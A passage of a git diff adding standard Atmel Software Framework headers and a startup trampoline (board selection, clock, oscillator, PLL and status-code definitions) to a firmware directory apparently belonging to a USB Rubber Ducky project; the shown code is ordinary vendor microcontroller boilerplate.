MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#include "trampoline_uc3.h" + + +//! @{ +//! \verbatim + + + // This must be linked @ 0x80000000 if it is to be run upon reset. + .section .reset, "ax", @progbits + + + .global _trampoline + .type _trampoline, @function +_trampoline: + // Jump to program start. + rjmp program_start + + .org PROGRAM_START_OFFSET +program_start: + // Jump to the C runtime startup routine. + lda.w pc, _stext + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/startup/trampoline_uc3.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/startup/trampoline_uc3.h new file mode 100755 index 0000000..ffce8a8 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/startup/trampoline_uc3.h @@ -0,0 +1,49 @@ +/************************************************************************** + * + * \file + * + * \brief UC3 trampoline definitions (default size is 8KB) + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ***************************************************************************/ + + +#ifndef _TRAMPOLINE_UC3_H_ +#define _TRAMPOLINE_UC3_H_ + +#define PROGRAM_START_ADDRESS (AVR32_FLASH_ADDRESS + PROGRAM_START_OFFSET) +#define PROGRAM_START_OFFSET 0x00002000 + +#endif // _TRAMPOLINE_UC3_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/status_codes.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/status_codes.h new file mode 100755 index 0000000..5779da1 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/utils/status_codes.h @@ -0,0 +1,95 @@ +/** + * \file + * + * \brief Status code definitions. + * + * This file defines various status codes returned by functions, + * indicating success or failure as well as what kind of failure. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef STATUS_CODES_H_INCLUDED +#define STATUS_CODES_H_INCLUDED + +/** + * \defgroup group_avr32_utils_status_codes Status Codes + * + * \ingroup group_avr32_utils + * + * \{ + */ + +/** + * Status code that may be returned by shell commands and protocol + * implementations. + * + * \note Any change to these status codes and the corresponding + * message strings is strictly forbidden. New codes can be added, + * however, but make sure that any message string tables are updated + * at the same time. + */ +enum status_code { + STATUS_OK = 0, //!< Success + ERR_IO_ERROR = -1, //!< I/O error + ERR_FLUSHED = -2, //!< Request flushed from queue + ERR_TIMEOUT = -3, //!< Operation timed out + ERR_BAD_DATA = -4, //!< Data integrity check failed + ERR_PROTOCOL = -5, //!< Protocol error + ERR_UNSUPPORTED_DEV = -6, //!< Unsupported device + ERR_NO_MEMORY = -7, //!< Insufficient memory + ERR_INVALID_ARG = -8, //!< Invalid argument + ERR_BAD_ADDRESS = -9, //!< Bad address + ERR_BUSY = -10, //!< Resource is busy + ERR_BAD_FORMAT = -11, //!< Data format not recognized + + /** + * \brief Operation in progress + * + * This status code is for driver-internal use when an operation + * is currently being performed. + * + * \note Drivers should never return this status code to any + * callers. It is strictly for internal use. + */ + OPERATION_IN_PROGRESS = -128, +}; + +typedef enum status_code status_code_t; + +/** + * \} + */ + +#endif /* STATUS_CODES_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/boards/board.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/boards/board.h new file mode 100755 index 0000000..3bcb4bb --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/boards/board.h @@ -0,0 +1,239 @@ +/** + * \file + * + * \brief Standard board header file. + * + * This file includes the appropriate board header file according to the + * defined board (parameter BOARD). + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _BOARD_H_ +#define _BOARD_H_ + +/** + * \defgroup group_common_boards Generic board support + * + * The generic board support module includes board-specific definitions + * and function prototypes, such as the board initialization function. + * + * \{ + */ + +#include "compiler.h" + +#ifdef __cplusplus +extern "C" { +#endif + + +/*! \name Base Boards + */ +//! @{ +#define EVK1100 1 //!< AT32UC3A EVK1100 board. +#define EVK1101 2 //!< AT32UC3B EVK1101 board. +#define UC3C_EK 3 //!< AT32UC3C UC3C_EK board. +#define EVK1104 4 //!< AT32UC3A3 EVK1104 board. +#define EVK1105 5 //!< AT32UC3A EVK1105 board. +#define STK600_RCUC3L0 6 //!< STK600 RCUC3L0 board. +#define UC3L_EK 7 //!< AT32UC3L-EK board. +#define XPLAIN 8 //!< ATxmega128A1 Xplain board. +#define STK600_RC064X 10 //!< ATxmega256A3 STK600 board. +#define STK600_RC100X 11 //!< ATxmega128A1 STK600 board. +#define UC3_A3_XPLAINED 13 //!< ATUC3A3 UC3-A3 Xplained board. +#define UC3_C2_XPLAINED 14 //!< ATUC3A3 UC3-C2 Xplained board. +#define UC3_L0_XPLAINED 15 //!< ATUC3L0 UC3-L0 Xplained board. +#define STK600_RCUC3D 16 //!< STK600 RCUC3D board. +#define STK600_RCUC3C0 17 //!< STK600 RCUC3C board. +#define XMEGA_B1_XPLAINED 18 //!< ATxmega128B1 Xplained board. +#define XMEGA_A1_XPLAINED 19 //!< ATxmega128A1 Xplain-A1 board. +#define STK600_RCUC3L4 21 //!< ATUCL4 STK600 board +#define UC3_L0_XPLAINED_BC 22 //!< ATUC3L0 UC3-L0 Xplained board controller board +#define MEGA1284P_XPLAINED_BC 23 //!< ATmega1284P-Xplained board controller board +#define STK600_RC044X 24 //!< STK600 with RC044X routing card board. +#define STK600_RCUC3B 25 //!< STK600 RCUC3B board. +#define UC3_L0_QT600 26 //!< QT600 UC3L0 MCU board. +#define XMEGA_A3BU_XPLAINED 27 //!< ATxmega256A3BU Xplained board. +#define STK600_RC064X_LCDX 28 //!< XMEGAB3 STK600 RC064X LCDX board. +#define STK600_RC100X_LCDX 29 //!< XMEGAB1 STK600 RC100X LCDX board. +#define UC3B_BOARD_CONTROLLER 30 //!< AT32UC3B1 board controller for Atmel boards +#define RZ600 31 //!< AT32UC3A RZ600 MCU board. +#define SIMULATOR_XMEGA_A1 97 //!< Simulator for XMEGA A1 devices +#define AVR_SIMULATOR_UC3 98 //!< AVR SIMULATOR for AVR UC3 device family. +#define USER_BOARD 99 //!< User-reserved board (if any). +#define DUMMY_BOARD 100 //!< Dummy board to support board-independent applications (e.g. bootloader) +//! @} + +/*! \name Extension Boards + */ +//! @{ +#define EXT1102 1 //!< AT32UC3B EXT1102 board +#define MC300 2 //!< AT32UC3 MC300 board +#define SENSORS_XPLAINED_INERTIAL_1 3 //!< Xplained inertial sensor board 1 +#define SENSORS_XPLAINED_INERTIAL_2 4 //!< Xplained inertial sensor board 2 +#define SENSORS_XPLAINED_PRESSURE_1 5 //!< Xplained pressure sensor board +#define SENSORS_XPLAINED_LIGHTPROX_1 6 //!< Xplained light & proximity sensor board +#define SENSORS_XPLAINED_INERTIAL_A1 7 //!< Xplained inertial sensor board "A" +#define RZ600_AT86RF231 8 //!< AT86RF231 RF board in RZ600 +#define RZ600_AT86RF230B 9 //!< AT86RF231 RF board in RZ600 +#define RZ600_AT86RF212 10 //!< AT86RF231 RF board in RZ600 +#define SENSORS_XPLAINED_BREADBOARD 11 //!< Xplained sensor development breadboard + +#define USER_EXT_BOARD 99 //!< User-reserved extension board (if any). +//! @} + +#if BOARD == EVK1100 + #include "evk1100/evk1100.h" +#elif BOARD == EVK1101 + #include "evk1101/evk1101.h" +#elif BOARD == UC3C_EK + #include "uc3c_ek/uc3c_ek.h" +#elif BOARD == EVK1104 + #include "evk1104/evk1104.h" +#elif BOARD == EVK1105 + #include "evk1105/evk1105.h" +#elif BOARD == STK600_RCUC3L0 + #include "stk600/rcuc3l0/stk600_rcuc3l0.h" +#elif BOARD == UC3L_EK + #include "uc3l_ek/uc3l_ek.h" +#elif BOARD == STK600_RCUC3L4 + #include "stk600/rcuc3l4/stk600_rcuc3l4.h" +#elif BOARD == XPLAIN + #include "xplain/xplain.h" +#elif BOARD == STK600_RC044X + #include "stk600/rc044x/stk600_rc044x.h" +#elif BOARD == STK600_RC064X + #include "stk600/rc064x/stk600_rc064x.h" +#elif BOARD == STK600_RC100X + #include "stk600/rc100x/stk600_rc100x.h" +#elif BOARD == UC3_A3_XPLAINED + #include "uc3_a3_xplained/uc3_a3_xplained.h" +#elif BOARD == UC3_C2_XPLAINED + #include "uc3_c2_xplained/uc3_c2_xplained.h" + #elif BOARD == UC3_L0_XPLAINED + #include "uc3_l0_xplained/uc3_l0_xplained.h" +#elif BOARD == STK600_RCUC3B + #include "stk600/rcuc3b/stk600_rcuc3b.h" +#elif BOARD == STK600_RCUC3D + #include "stk600/rcuc3d/stk600_rcuc3d.h" +#elif BOARD == STK600_RCUC3C0 + #include "stk600/rcuc3c0/stk600_rcuc3c0.h" +#elif BOARD == XMEGA_B1_XPLAINED + #include "xmega_b1_xplained/xmega_b1_xplained.h" +#elif BOARD == STK600_RC064X_LCDX + #include "stk600/rc064x_lcdx/stk600_rc064x_lcdx.h" +#elif BOARD == STK600_RC100X_LCDX + #include "stk600/rc100x_lcdx/stk600_rc100x_lcdx.h" +#elif BOARD == XMEGA_A1_XPLAINED + #include "xmega_a1_xplained/xmega_a1_xplained.h" +#elif BOARD == UC3_L0_XPLAINED_BC + #include "uc3_l0_xplained_bc/uc3_l0_xplained_bc.h" +#elif BOARD == MEGA1284P_XPLAINED_BC + #include "mega1284p_xplained_bc/mega1284p_xplained_bc.h" +#elif BOARD == UC3_L0_QT600 + #include "uc3_l0_qt600/uc3_l0_qt600.h" +#elif BOARD == XMEGA_A3BU_XPLAINED + #include "xmega_a3bu_xplained/xmega_a3bu_xplained.h" +#elif BOARD == UC3B_BOARD_CONTROLLER + #include "uc3b_board_controller/uc3b_board_controller.h" +#elif BOARD == RZ600 + #include "rz600/rz600.h" +#elif BOARD == SIMULATOR_XMEGA_A1 + #include "simulator/xmega_a1/simulator_xmega_a1.h" +#elif BOARD == AVR_SIMULATOR_UC3 + #include "avr_simulator_uc3/avr_simulator_uc3.h" +#elif BOARD == USER_BOARD + // User-reserved area: #include the header file of your board here (if any). + #include "user_board.h" +#elif BOARD == DUMMY_BOARD + #include "dummy/dummy_board.h" +#else + #error No known AVR board defined +#endif + +#if (defined EXT_BOARD) + #if EXT_BOARD == MC300 + #include "mc300/mc300.h" + #elif (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_1) || \ + (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_2) || \ + (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_A1) || \ + (EXT_BOARD == SENSORS_XPLAINED_PRESSURE_1) || \ + (EXT_BOARD == SENSORS_XPLAINED_LIGHTPROX_1) || \ + (EXT_BOARD == SENSORS_XPLAINED_BREADBOARD) + #include "sensors_xplained/sensors_xplained.h" + #elif EXT_BOARD == RZ600_AT86RF231 + #include "at86rf231/at86rf231.h" + #elif EXT_BOARD == RZ600_AT86RF230B + #include "at86rf230b/at86rf230b.h" + #elif EXT_BOARD == RZ600_AT86RF212 + #include "at86rf212/at86rf212.h" + #elif EXT_BOARD == USER_EXT_BOARD + // User-reserved area: #include the header file of your extension board here + // (if any). + #endif +#endif + + +#if (defined(__GNUC__) && defined(__AVR32__)) || (defined(__ICCAVR32__) || defined(__AAVR32__)) +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +/*! \brief This function initializes the board target resources + * + * This function should be called to ensure proper initialization of the target + * board hardware connected to the part. + */ +extern void board_init(void); + +#endif // #ifdef __AVR32_ABI_COMPILER__ +#else +/*! \brief This function initializes the board target resources + * + * This function should be called to ensure proper initialization of the target + * board hardware connected to the part. + */ +extern void board_init(void); +#endif + + +#ifdef __cplusplus +} +#endif + +/** + * \} + */ + +#endif // _BOARD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/genclk.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/genclk.h new file mode 100755 index 0000000..0737a99 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/genclk.h @@ -0,0 +1,161 @@ +/** + * \file + * + * \brief Generic clock management + * + * Copyright (c) 2010-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef CLK_GENCLK_H_INCLUDED +#define CLK_GENCLK_H_INCLUDED + +#include + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/genclk.h" +#elif UC3A3 +# include "uc3a3_a4/genclk.h" +#elif UC3B +# include "uc3b0_b1/genclk.h" +#elif UC3C +# include "uc3c/genclk.h" +#elif UC3D +# include "uc3d/genclk.h" +#elif UC3L +# include "uc3l/genclk.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup genclk_group Generic Clock Management + * + * Generic clocks are configurable clocks which run outside the system + * clock domain. They are often connected to peripherals which have an + * asynchronous component running independently of the bus clock, e.g. + * USB controllers, low-power timers and RTCs, etc. + * + * Note that not all platforms have support for generic clocks; on such + * platforms, this API will not be available. + * + * @{ + */ + +/** + * \def GENCLK_DIV_MAX + * \brief Maximum divider supported by the generic clock implementation + */ +/** + * \enum genclk_source + * \brief Generic clock source ID + * + * Each generic clock may be generated from a different clock source. + * These are the available alternatives provided by the chip. + */ + +//! \name Generic clock configuration +//@{ +/** + * \struct genclk_config + * \brief Hardware representation of a set of generic clock parameters + */ +/** + * \fn void genclk_config_defaults(struct genclk_config *cfg, + * unsigned int id) + * \brief Initialize \a cfg to the default configuration for the clock + * identified by \a id. + */ +/** + * \fn void genclk_config_read(struct genclk_config *cfg, unsigned int id) + * \brief Read the currently active configuration of the clock + * identified by \a id into \a cfg. + */ +/** + * \fn void genclk_config_write(const struct genclk_config *cfg, + * unsigned int id) + * \brief Activate the configuration \a cfg on the clock identified by + * \a id. + */ +/** + * \fn void genclk_config_set_source(struct genclk_config *cfg, + * enum genclk_source src) + * \brief Select a new source clock \a src in configuration \a cfg. + */ +/** + * \fn void genclk_config_set_divider(struct genclk_config *cfg, + * unsigned int divider) + * \brief Set a new \a divider in configuration \a cfg. + */ +/** + * \fn void genclk_enable_source(enum genclk_source src) + * \brief Enable the source clock \a src used by a generic clock. + */ + //@} + +//! \name Enabling and disabling Generic Clocks +//@{ +/** + * \fn void genclk_enable(const struct genclk_config *cfg, unsigned int id) + * \brief Activate the configuration \a cfg on the clock identified by + * \a id and enable it. + */ +/** + * \fn void genclk_disable(unsigned int id) + * \brief Disable the generic clock identified by \a id. + */ +//@} + +/** + * \brief Enable the configuration defined by \a src and \a divider + * for the generic clock identified by \a id. + * + * \param id The ID of the generic clock. + * \param src The source clock of the generic clock. + * \param divider The divider used to generate the generic clock. + */ +static inline void genclk_enable_config(unsigned int id, enum genclk_source src, unsigned int divider) +{ + struct genclk_config gcfg; + + genclk_config_defaults(&gcfg, id); + genclk_enable_source(src); + genclk_config_set_source(&gcfg, src); + genclk_config_set_divider(&gcfg, divider); + genclk_enable(&gcfg, id); +} + +//! @} + +#endif /* CLK_GENCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/osc.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/osc.h new file mode 100755 index 0000000..9f89988 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/osc.h @@ -0,0 +1,147 @@ +/** + * \file + * + * \brief Oscillator management + * + * Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef OSC_H_INCLUDED +#define OSC_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/osc.h" +#elif UC3A3 +# include "uc3a3_a4/osc.h" +#elif UC3B +# include "uc3b0_b1/osc.h" +#elif UC3C +# include "uc3c/osc.h" +#elif UC3D +# include "uc3d/osc.h" +#elif UC3L +# include "uc3l/osc.h" +#elif XMEGA +# include "xmega/osc.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup osc_group Oscillator Management + * + * This group contains functions and definitions related to configuring + * and enabling/disabling on-chip oscillators. Internal RC-oscillators, + * external crystal oscillators and external clock generators are + * supported by this module. What all of these have in common is that + * they swing at a fixed, nominal frequency which is normally not + * adjustable. + * + * \par Example: Enabling an oscillator + * + * The following example demonstrates how to enable the external + * oscillator on XMEGA A and wait for it to be ready to use. The + * oscillator identifiers are platform-specific, so while the same + * procedure is used on all platforms, the parameter to osc_enable() + * will be different from device to device. + * \code + osc_enable(OSC_ID_XOSC); + osc_wait_ready(OSC_ID_XOSC); \endcode + * + * \section osc_group_board Board-specific Definitions + * If external oscillators are used, the board code must provide the + * following definitions for each of those: + * - \b BOARD__HZ: The nominal frequency of the oscillator. + * - \b BOARD__STARTUP_US: The startup time of the + * oscillator in microseconds. + * - \b BOARD__TYPE: The type of oscillator connected, i.e. + * whether it's a crystal or external clock, and sometimes what kind + * of crystal it is. The meaning of this value is platform-specific. + * + * @{ + */ + +//! \name Oscillator Management +//@{ +/** + * \fn void osc_enable(uint8_t id) + * \brief Enable oscillator \a id + * + * The startup time and mode value is automatically determined based on + * definitions in the board code. + */ +/** + * \fn void osc_disable(uint8_t id) + * \brief Disable oscillator \a id + */ +/** + * \fn osc_is_ready(uint8_t id) + * \brief Determine whether oscillator \a id is ready. + * \retval true Oscillator \a id is running and ready to use as a clock + * source. + * \retval false Oscillator \a id is not running. + */ +/** + * \fn uint32_t osc_get_rate(uint8_t id) + * \brief Return the frequency of oscillator \a id in Hz + */ + +#ifndef __ASSEMBLY__ + +/** + * \brief Wait until the oscillator identified by \a id is ready + * + * This function will busy-wait for the oscillator identified by \a id + * to become stable and ready to use as a clock source. + * + * \param id A number identifying the oscillator to wait for. + */ +static inline void osc_wait_ready(uint8_t id) +{ + while (!osc_is_ready(id)) { + /* Do nothing */ + } +} + +#endif /* __ASSEMBLY__ */ + +//@} + +//! @} + +#endif /* OSC_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/pll.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/pll.h new file mode 100755 index 0000000..ae554c5 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/clock/pll.h @@ -0,0 +1,303 @@ +/** + * \file + * + * \brief PLL management + * + * Copyright (c) 2010-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef CLK_PLL_H_INCLUDED +#define CLK_PLL_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/pll.h" +#elif UC3A3 +# include "uc3a3_a4/pll.h" +#elif UC3B +# include "uc3b0_b1/pll.h" +#elif UC3C +# include "uc3c/pll.h" +#elif UC3D +# include "uc3d/pll.h" +#elif (UC3L0128 || UC3L0256 || UC3L3_L4) +# include "uc3l/pll.h" +#elif XMEGA +# include "xmega/pll.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup pll_group PLL Management + * + * This group contains functions and definitions related to configuring + * and enabling/disabling on-chip PLLs. A PLL will take an input signal + * (the \em source), optionally divide the frequency by a configurable + * \em divider, and then multiply the frequency by a configurable \em + * multiplier. + * + * Some devices don't support input dividers; specifying any other + * divisor than 1 on these devices will result in an assertion failure. + * Other devices may have various restrictions to the frequency range of + * the input and output signals. + * + * \par 